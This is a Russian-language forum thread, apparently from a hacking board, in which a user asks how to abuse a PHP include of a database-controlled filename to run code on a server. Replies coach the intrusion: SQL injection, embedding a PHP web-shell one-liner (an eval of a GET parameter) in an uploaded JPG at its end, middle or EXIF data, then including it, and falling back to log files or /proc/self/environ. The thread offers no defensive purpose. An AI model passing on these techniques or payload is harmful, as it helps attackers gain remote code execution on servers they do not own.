Помогите с include

Есть такой код:

Code:

include DIR."/".$row["file"];

значение $row["file"] берется из БД
к содержимому этого значения имеется доступ
так же известны пути на сервере
как через такую штуку подгрузить чтото инетерсное?

 

Если берется из БД, то SQLi тебе в помощь!

 

дело в том что бд на другом сервере

 

есть возможность на сервер где этот код залить любой файл(аватарту или ччто-то другое)?

 

есть но стоят проверки на размер картинки и если только в формате jpg
пробувал добавить к картинке пхп код, и подгрузить ее через sql ничего не вышло!

 

Что именно не вышло?
Картинка пережимается? Попробуй создать картинку 1х1 пиксель и вконец вставить что-то на подобие <?php eval($_GET['c']); ?>
Далее инклюдить..

 

дело в том что загрузить картинку 1х1 нельзя, можно только по определенным параметрам к примеру 15х15 и если в исходнике картинки ВНАЧАЛЕ вписать пхп код, система ее не пропустит
а если в конце вписать этот код, то при инклуде пустота!!!

 

попробуй в середину вставить. Если не получится, то ищи логи сервера, пробуй /proc/self/environ

 

Попробуй вставить в конец, в exif, и в середину хекс редактором.
потом скачай с сервера и посмотри, как она изменилась после загрузки.